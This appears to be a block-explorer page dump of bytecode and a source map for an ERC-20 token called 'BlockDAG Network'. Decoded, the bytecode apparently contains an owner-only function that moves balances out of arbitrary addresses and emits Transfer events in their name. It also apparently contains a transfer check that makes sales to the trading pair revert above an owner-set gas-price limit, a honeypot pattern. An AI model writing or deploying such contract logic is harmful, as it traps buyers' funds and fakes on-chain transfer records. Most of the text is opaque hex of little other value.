82611e1e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611e6082611e67565b9050919050565b6000611e7282611e1e565b9050919050565b60005b83811015611e97578082015181840152602081019050611e7c565b83811115611ea6576000848401525b50505050565b6000611eb782611e3e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611eea57611ee9611f26565b5b600182019050919050565b6000611f0082611e3e565b9150611f0b83611e3e565b925082611f1b57611f1a611f55565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b611fab81611e00565b8114611fb657600080fd5b50565b611fc281611e3e565b8114611fcd57600080fd5b5056fea2646970667358221220ad276a2293d0ec9783261e609a2a068ae6b6c5430d5dc5688be1c725a86394d364736f6c63430008000033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb1461033b578063c9567bf914610378578063dd62ed3e1461038f578063e194c2b2146103cc576100fe565b806370a082311461027f5780638da5cb5b146102bc57806395d89b41146102e75780639e94590b14610312576100fe565b806318160ddd116100c657806318160ddd146101c157806323b872dd146101ec578063313ce567146102295780633c9f5ed614610254576100fe565b806303c525731461010357806306fdde031461012e578063095ea7b3146101595780631694505e14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103f7565b6040516101259190611b28565b60405180910390f35b34801561013a57600080fd5b506101436103fd565b6040516101509190611a26565b60405180910390f35b34801561016557600080fd5b50610180600480360381019061017b9190611697565b61043a565b60405161018d91906119f0565b60405180910390f35b3480156101a257600080fd5b506101ab610458565b6040516101b89190611a0b565b60405180910390f35b3480156101cd57600080fd5b506101d661047e565b6040516101e39190611b28565b60405180910390f35b3480156101f857600080fd5b50610213600480360381019061020e91906115bf565b6104a4565b60405161022091906119f0565b60405180910390f35b34801561023557600080fd5b5061023e610563565b60405161024b9190611b43565b60405180910390f35b34801561026057600080fd5b5061026961056c565b60405161027691906119f0565b60405180910390f35b34801561028b57600080fd5b506102a660048036038101906102a1919061155a565b610583565b6040516102b39190611b28565b60405180910390f35b3480156102c857600080fd5b506102d16105cc565b6040516102de91906119d5565b60405180910390f35b3480156102f357600080fd5b506102fc6105f5565b6040516103099190611a26565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061160e565b610632565b005b34801561034757600080fd5b50610362600480360381019061035d9190611697565b610a1c565b60405161036f91906119f0565b60405180910390f35b34801561038457600080fd5b5061038d610a3f565b005b34801561039b57600080fd5b506103b660048036038101906103b19190611583565b610a73565b6040516103c39190611b28565b60405180910390f35b3480156103d857600080fd5b506103e1610afa565b6040516103ee9190611b28565b60405180910390f35b60045481565b60606040518060400160405280601081526020017f426c6f636b444147204e6574776f726b00000000000000000000000000000000815250905090565b600061044e610447610c6f565b8484610c77565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a61048e9190611c54565b65886c98b7600061049f9190611d72565b905090565b60006104b1848484610e42565b610558846104bd610c6f565b61055385600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610c6f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136390919063ffffffff16565b610c77565b600190509392505050565b60006012905090565b6000600660009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4244414700000000000000000000000000000000000000000000000000000000815250905090565b61063a6105cc565b73ffffffffffffffffffffffffffffffffffffffff16610658610c6f565b73ffffffffffffffffffffffffffffffffffffffff161461067857600080fd5b60005b84849050811015610a145761072f6012600a6106979190611c54565b8484848181106106d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356106e19190611d72565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136390919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108686012600a6107839190611c54565b8484848181106107bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356107cd9190611d72565b6002600088888681811061080a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061081f919061155a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c1d90919063ffffffff16565b600260008787858181106108a5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906108ba919061155a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848482818110610931577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610946919061155a565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6109a29190611c54565b8686868181106109db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356109ec9190611d72565b6040516109f99190611b28565b60405180910390a38080610a0c90611eac565b91505061067b565b505050505050565b600080610a27610c6f565b9050610a34818585610e42565b600191505092915050565b610a476113b0565b600660009054906101000a900460ff1615600660006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b600080831415610b135760009050610b63565b8183610b1f9190611d72565b9050818382610b2e9190611bd0565b14610b62577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b5b92915050565b6000808211610ba1577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60008284610baf9190611bd0565b90508284610bbd9190611ef5565b8184610bc99190611d72565b610bd39190611b7a565b8414610c08577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8284610c149190611bd0565b91505092915050565b6000808284610c2c9190611b7a565b905083811015610c65577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde90611b08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e90611a68565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e359190611b28565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea990611ac8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1990611a48565b60405180910390fd5b80610f2c84610583565b1015610f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6490611a88565b60405180910390fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110135750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561110057600660009054906101000a900460ff16611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e90611aa8565b60405180910390fd5b6064600454836110779190611d72565b6110819190611bd0565b9050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110ff576064600554836110e99190611d72565b6110f39190611bd0565b90506110fe84611447565b5b5b60008111156111fd5780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111549190611b7a565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111f49190611b28565b60405180910390a35b8161120785610583565b6112119190611dcc565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826112609190611dcc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112aa9190611b7a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856113489190611dcc565b6040516113559190611b28565b60405180910390a350505050565b60008183101561139c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b81836113a89190611dcc565b905092915050565b6113b8610c6f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c90611ae8565b60405180910390fd5b565b600061145282610583565b111561148957600660009054906101000a900460ff1661147c5761147760095461148c565b611488565b611487600a5461148c565b5b5b50565b803a111561149957600080fd5b50565b6000813590506114ab81611fa2565b92915050565b60008083601f8401126114c357600080fd5b8235905067ffffffffffffffff8111156114dc57600080fd5b6020830191508360208202830111156114f457600080fd5b9250929050565b60008083601f84011261150d57600080fd5b8235905067ffffffffffffffff81111561152657600080fd5b60208301915083602082028301111561153e57600080fd5b9250929050565b60008135905061155481611fb9565b92915050565b60006020828403121561156c57600080fd5b600061157a8482850161149c565b91505092915050565b6000806040838503121561159657600080fd5b60006115a48582860161149c565b92505060206115b58582860161149c565b9150509250929050565b6000806000606084860312156115d457600080fd5b60006115e28682870161149c565b93505060206115f38682870161149c565b925050604061160486828701611545565b9150509250925092565b60008060008060006060868803121561162657600080fd5b60006116348882890161149c565b955050602086013567ffffffffffffffff81111561165157600080fd5b61165d888289016114b1565b9450945050604086013567ffffffffffffffff81111561167c57600080fd5b611688888289016114fb565b92509250509295509295909350565b600080604083850312156116aa57600080fd5b60006116b88582860161149c565b92505060206116c985828601611545565b9150509250929050565b6116dc81611e00565b82525050565b6116eb81611e12565b82525050565b6116fa81611e55565b82525050565b600061170b82611b5e565b6117158185611b69565b9350611725818560208601611e79565b61172e81611f84565b840191505092915050565b6000611746602383611b69565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117ac602283611b69565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611812602683611b69565b91507f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e60008301527f2076616c756500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611878601d83611b69565b91507f547261646520686173206e6f74206265656e206f70656e6564207965740000006000830152602082019050919050565b60006118b8602583611b69565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061191e600983611b69565b91507f4e6f74206f776e657200000000000000000000000000000000000000000000006000830152602082019050919050565b600061195e602483611b69565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6119c081611e3e565b82525050565b6119cf81611e48565b82525050565b60006020820190506119ea60008301846116d3565b92915050565b6000602082019050611a0560008301846116e2565b92915050565b6000602082019050611a2060008301846116f1565b92915050565b60006020820190508181036000830152611a408184611700565b905092915050565b60006020820190508181036000830152611a6181611739565b9050919050565b60006020820190508181036000830152611a818161179f565b9050919050565b60006020820190508181036000830152611aa181611805565b9050919050565b60006020820190508181036000830152611ac18161186b565b9050919050565b60006020820190508181036000830152611ae1816118ab565b9050919050565b60006020820190508181036000830152611b0181611911565b9050919050565b60006020820190508181036000830152611b2181611951565b9050919050565b6000602082019050611b3d60008301846119b7565b92915050565b6000602082019050611b5860008301846119c6565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b8582611e3e565b9150611b9083611e3e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611bc557611bc4611f26565b5b828201905092915050565b6000611bdb82611e3e565b9150611be683611e3e565b925082611bf657611bf5611f55565b5b828204905092915050565b6000808291508390505b6001851115611c4b57808604811115611c2757611c26611f26565b5b6001851615611c365780820291505b8081029050611c4485611f95565b9450611c0b565b94509492505050565b6000611c5f82611e3e565b9150611c6a83611e48565b9250611c977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611f26565b5b8360020a915084821115611d0657611d05611f26565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611f26565b5b611d6b565b611d4e8484846001611c01565b92509050818404811115611d6557611d64611f26565b5b81810290505b9392505050565b6000611d7d82611e3e565b9150611d8883611e3e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611dc157611dc0611f26565b5b828202905092915050565b6000611dd782611e3e565b9150611de283611e3e565b925082821015611df557611df4611f26565b5b828203905092915050565b6000611e0b82611e1e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611e6082611e67565b9050919050565b6000611e7282611e1e565b9050919050565b60005b83811015611e97578082015181840152602081019050611e7c565b83811115611ea6576000848401525b50505050565b6000611eb782611e3e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611eea57611ee9611f26565b5b600182019050919050565b6000611f0082611e3e565b9150611f0b83611e3e565b925082611f1b57611f1a611f55565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b611fab81611e00565b8114611fb657600080fd5b50565b611fc281611e3e565b8114611fcd57600080fd5b5056fea2646970667358221220ad276a2293d0ec9783261e609a2a068ae6b6c5430d5dc5688be1c725a86394d364736f6c63430008000033
Deployed Bytecode Sourcemap
3125:5776:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3623:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4728:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7261:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3854:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5103:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5853:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4914:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5005:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5219:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2199:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4819;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8322:444;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5613:232;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8774:87;;;;;;;;;;;;;:::i;:::-;;5404:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3658:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3623:28;;;;:::o;4728:83::-;4765:13;4798:5;;;;;;;;;;;;;;;;;4791:12;;4728:83;:::o;7261:193::-;7363:4;7385:39;7394:12;:10;:12::i;:::-;7408:7;7417:6;7385:8;:39::i;:::-;7442:4;7435:11;;7261:193;;;;:::o;3854:41::-;;;;;;;;;;;;;:::o;5103:108::-;5164:7;3416:2;3483;:13;;;;:::i;:::-;3465:15;:31;;;;:::i;:::-;5184:19;;5103:108;:::o;5853:353::-;5985:4;6002:36;6012:6;6020:9;6031:6;6002:9;:36::i;:::-;6049:127;6072:6;6093:12;:10;:12::i;:::-;6120:45;6158:6;6120:11;:19;6132:6;6120:19;;;;;;;;;;;;;;;:33;6140:12;:10;:12::i;:::-;6120:33;;;;;;;;;;;;;;;;:37;;:45;;;;:::i;:::-;6049:8;:127::i;:::-;6194:4;6187:11;;5853:353;;;;;:::o;4914:83::-;4955:5;3416:2;4973:16;;4914:83;:::o;5005:90::-;5052:4;5076:11;;;;;;;;;;;5069:18;;5005:90;:::o;5219:177::-;5338:7;5370:9;:18;5380:7;5370:18;;;;;;;;;;;;;;;;5363:25;;5219:177;;;:::o;2199:87::-;2245:7;2272:6;;;;;;;;;;;2265:13;;2199:87;:::o;4819:::-;4858:13;4891:7;;;;;;;;;;;;;;;;;4884:14;;4819:87;:::o;8322:444::-;8450:7;:5;:7::i;:::-;8434:23;;:12;:10;:12::i;:::-;:23;;;8426:32;;;;;;8476:9;8471:288;8495:2;;:9;;8491:1;:13;8471:288;;;8544:48;3416:2;8576;:15;;;;:::i;:::-;8564:6;;8571:1;8564:9;;;;;;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;8544:9;:15;8554:4;8544:15;;;;;;;;;;;;;;;;:19;;:48;;;;:::i;:::-;8526:9;:15;8536:4;8526:15;;;;;;;;;;;;;;;:66;;;;8626:50;3416:2;8660;:15;;;;:::i;:::-;8647:6;;8654:1;8647:9;;;;;;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;8626:9;:16;8636:2;;8639:1;8636:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8626:16;;;;;;;;;;;;;;;;:20;;:50;;;;:::i;:::-;8607:9;:16;8617:2;;8620:1;8617:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8607:16;;;;;;;;;;;;;;;:69;;;;8711:2;;8714:1;8711:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8696:51;;8705:4;8696:51;;;3416:2;8731;:15;;;;:::i;:::-;8718:6;;8725:1;8718:9;;;;;;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;8696:51;;;;;;:::i;:::-;;;;;;;;8506:3;;;;;:::i;:::-;;;;8471:288;;;;8322:444;;;;;:::o;5613:232::-;5727:4;5749:13;5765:12;:10;:12::i;:::-;5749:28;;5788:27;5798:5;5805:2;5809:5;5788:9;:27::i;:::-;5833:4;5826:11;;;5613:232;;;;:::o;8774:87::-;2158:13;:11;:13::i;:::-;8842:11:::1;;;;;;;;;;;8841:12;8827:11;;:26;;;;;;;;;;;;;;;;;;8774:87::o:0;5404:201::-;5538:7;5570:11;:18;5582:5;5570:18;;;;;;;;;;;;;;;:27;5589:7;5570:27;;;;;;;;;;;;;;;;5563:34;;5404:201;;;;:::o;3658:29::-;;;;:::o;2433:202::-;2491:9;2522:1;2517;:6;2513:47;;;2547:1;2540:8;;;;2513:47;2578:1;2574;:5;;;;:::i;:::-;2570:9;;2606:1;2601;2597;:5;;;;:::i;:::-;:10;2590:18;;;;;;;;;;;;2433:202;;;;;:::o;2643:189::-;2701:7;2732:1;2728;:5;2721:13;;;;;;;;;;;;2745:9;2761:1;2757;:5;;;;:::i;:::-;2745:17;;2798:1;2794;:5;;;;:::i;:::-;2789:1;2785;:5;;;;:::i;:::-;:15;;;;:::i;:::-;2780:1;:20;2773:28;;;;;;;;;;;;2823:1;2819;:5;;;;:::i;:::-;2812:12;;;2643:189;;;;:::o;2971:147::-;3029:7;3049:9;3065:1;3061;:5;;;;:::i;:::-;3049:17;;3089:1;3084;:6;;3077:14;;;;;;;;;;;;3109:1;3102:8;;;2971:147;;;;:::o;1884:98::-;1937:7;1964:10;1957:17;;1884:98;:::o;7462:369::-;7606:1;7589:19;;:5;:19;;;;7581:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7687:1;7668:21;;:7;:21;;;;7660:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7769:6;7739:11;:18;7751:5;7739:18;;;;;;;;;;;;;;;:27;7758:7;7739:27;;;;;;;;;;;;;;;:36;;;;7807:7;7791:32;;7800:5;7791:32;;;7816:6;7791:32;;;;;;:::i;:::-;;;;;;;;7462:369;;;:::o;6214:1039::-;6319:1;6303:18;;:4;:18;;;;6295:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6396:1;6382:16;;:2;:16;;;;6374:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6476:6;6457:15;6467:4;6457:9;:15::i;:::-;:25;;6449:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;6536:17;6574:16;:22;6591:4;6574:22;;;;;;;;;;;;;;;;;;;;;;;;;6573:23;:48;;;;;6601:16;:20;6618:2;6601:20;;;;;;;;;;;;;;;;;;;;;;;;;6600:21;6573:48;6570:330;;;6646:11;;;;;;;;;;;6638:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;6739:3;6727:9;;6718:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;6706:36;;6766:13;;;;;;;;;;;6760:19;;:2;:19;;;6757:132;;;6834:3;6821:10;;6812:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;6800:37;;6856:17;6868:4;6856:11;:17::i;:::-;6757:132;6570:330;6927:1;6915:9;:13;6912:164;;;6995:9;6970;:24;6988:4;6970:24;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;6945:9;:24;6963:4;6945:24;;;;;;;;;;;;;;;:59;;;;7047:4;7024:40;;7033:4;7024:40;;;7054:9;7024:40;;;;;;:::i;:::-;;;;;;;;6912:164;7123:6;7105:15;7115:4;7105:9;:15::i;:::-;:24;;;;:::i;:::-;7088:9;:15;7098:4;7088:15;;;;;;;;;;;;;;;:41;;;;7181:9;7172:6;:18;;;;:::i;:::-;7155:9;:13;7165:2;7155:13;;;;;;;;;;;;;;;;:36;;;;:::i;:::-;7141:9;:13;7151:2;7141:13;;;;;;;;;;;;;;;:50;;;;7222:2;7207:38;;7216:4;7207:38;;;7235:9;7226:6;:18;;;;:::i;:::-;7207:38;;;;;;:::i;:::-;;;;;;;;6214:1039;;;;:::o;2840:123::-;2898:7;2930:1;2925;:6;;2918:14;;;;;;;;;;;;2954:1;2950;:5;;;;:::i;:::-;2943:12;;2840:123;;;;:::o;2294:108::-;2368:12;:10;:12::i;:::-;2358:22;;:6;;;;;;;;;;:22;;;2350:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;2294:108::o;7926:255::-;8003:1;7987:13;7997:2;7987:9;:13::i;:::-;:17;7984:189;;;8026:11;;;;;;;;;;;8021:141;;8058:25;8069:13;;8058:10;:25::i;:::-;8021:141;;;8124:22;8135:10;;8124;:22::i;:::-;8021:141;7984:189;7926:255;:::o;8189:125::-;8266:4;8252:11;:18;8248:59;;;8287:8;;;8248:59;8189:125;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;559:367::-;;;692:3;685:4;677:6;673:17;669:27;659:2;;710:1;707;700:12;659:2;746:6;733:20;723:30;;776:18;768:6;765:30;762:2;;;808:1;805;798:12;762:2;845:4;837:6;833:17;821:29;;899:3;891:4;883:6;879:17;869:8;865:32;862:41;859:2;;;916:1;913;906:12;859:2;649:277;;;;;:::o;932:139::-;;1016:6;1003:20;994:29;;1032:33;1059:5;1032:33;:::i;:::-;984:87;;;;:::o;1077:262::-;;1185:2;1173:9;1164:7;1160:23;1156:32;1153:2;;;1201:1;1198;1191:12;1153:2;1244:1;1269:53;1314:7;1305:6;1294:9;1290:22;1269:53;:::i;:::-;1259:63;;1215:117;1143:196;;;;:::o;1345:407::-;;;1470:2;1458:9;1449:7;1445:23;1441:32;1438:2;;;1486:1;1483;1476:12;1438:2;1529:1;1554:53;1599:7;1590:6;1579:9;1575:22;1554:53;:::i;:::-;1544:63;;1500:117;1656:2;1682:53;1727:7;1718:6;1707:9;1703:22;1682:53;:::i;:::-;1672:63;;1627:118;1428:324;;;;;:::o;1758:552::-;;;;1900:2;1888:9;1879:7;1875:23;1871:32;1868:2;;;1916:1;1913;1906:12;1868:2;1959:1;1984:53;2029:7;2020:6;2009:9;2005:22;1984:53;:::i;:::-;1974:63;;1930:117;2086:2;2112:53;2157:7;2148:6;2137:9;2133:22;2112:53;:::i;:::-;2102:63;;2057:118;2214:2;2240:53;2285:7;2276:6;2265:9;2261:22;2240:53;:::i;:::-;2230:63;;2185:118;1858:452;;;;;:::o;2316:878::-;;;;;;2528:2;2516:9;2507:7;2503:23;2499:32;2496:2;;;2544:1;2541;2534:12;2496:2;2587:1;2612:53;2657:7;2648:6;2637:9;2633:22;2612:53;:::i;:::-;2602:63;;2558:117;2742:2;2731:9;2727:18;2714:32;2773:18;2765:6;2762:30;2759:2;;;2805:1;2802;2795:12;2759:2;2841:80;2913:7;2904:6;2893:9;2889:22;2841:80;:::i;:::-;2823:98;;;;2685:246;2998:2;2987:9;2983:18;2970:32;3029:18;3021:6;3018:30;3015:2;;;3061:1;3058;3051:12;3015:2;3097:80;3169:7;3160:6;3149:9;3145:22;3097:80;:::i;:::-;3079:98;;;;2941:246;2486:708;;;;;;;;:::o;3200:407::-;;;3325:2;3313:9;3304:7;3300:23;3296:32;3293:2;;;3341:1;3338;3331:12;3293:2;3384:1;3409:53;3454:7;3445:6;3434:9;3430:22;3409:53;:::i;:::-;3399:63;;3355:117;3511:2;3537:53;3582:7;3573:6;3562:9;3558:22;3537:53;:::i;:::-;3527:63;;3482:118;3283:324;;;;;:::o;3613:118::-;3700:24;3718:5;3700:24;:::i;:::-;3695:3;3688:37;3678:53;;:::o;3737:109::-;3818:21;3833:5;3818:21;:::i;:::-;3813:3;3806:34;3796:50;;:::o;3852:183::-;3965:63;4022:5;3965:63;:::i;:::-;3960:3;3953:76;3943:92;;:::o;4041:364::-;;4157:39;4190:5;4157:39;:::i;:::-;4212:71;4276:6;4271:3;4212:71;:::i;:::-;4205:78;;4292:52;4337:6;4332:3;4325:4;4318:5;4314:16;4292:52;:::i;:::-;4369:29;4391:6;4369:29;:::i;:::-;4364:3;4360:39;4353:46;;4133:272;;;;;:::o;4411:367::-;;4574:67;4638:2;4633:3;4574:67;:::i;:::-;4567:74;;4671:34;4667:1;4662:3;4658:11;4651:55;4737:5;4732:2;4727:3;4723:12;4716:27;4769:2;4764:3;4760:12;4753:19;;4557:221;;;:::o;4784:366::-;;4947:67;5011:2;5006:3;4947:67;:::i;:::-;4940:74;;5044:34;5040:1;5035:3;5031:11;5024:55;5110:4;5105:2;5100:3;5096:12;5089:26;5141:2;5136:3;5132:12;5125:19;;4930:220;;;:::o;5156:370::-;;5319:67;5383:2;5378:3;5319:67;:::i;:::-;5312:74;;5416:34;5412:1;5407:3;5403:11;5396:55;5482:8;5477:2;5472:3;5468:12;5461:30;5517:2;5512:3;5508:12;5501:19;;5302:224;;;:::o;5532:327::-;;5695:67;5759:2;5754:3;5695:67;:::i;:::-;5688:74;;5792:31;5788:1;5783:3;5779:11;5772:52;5850:2;5845:3;5841:12;5834:19;;5678:181;;;:::o;5865:369::-;;6028:67;6092:2;6087:3;6028:67;:::i;:::-;6021:74;;6125:34;6121:1;6116:3;6112:11;6105:55;6191:7;6186:2;6181:3;6177:12;6170:29;6225:2;6220:3;6216:12;6209:19;;6011:223;;;:::o;6240:306::-;;6403:66;6467:1;6462:3;6403:66;:::i;:::-;6396:73;;6499:11;6495:1;6490: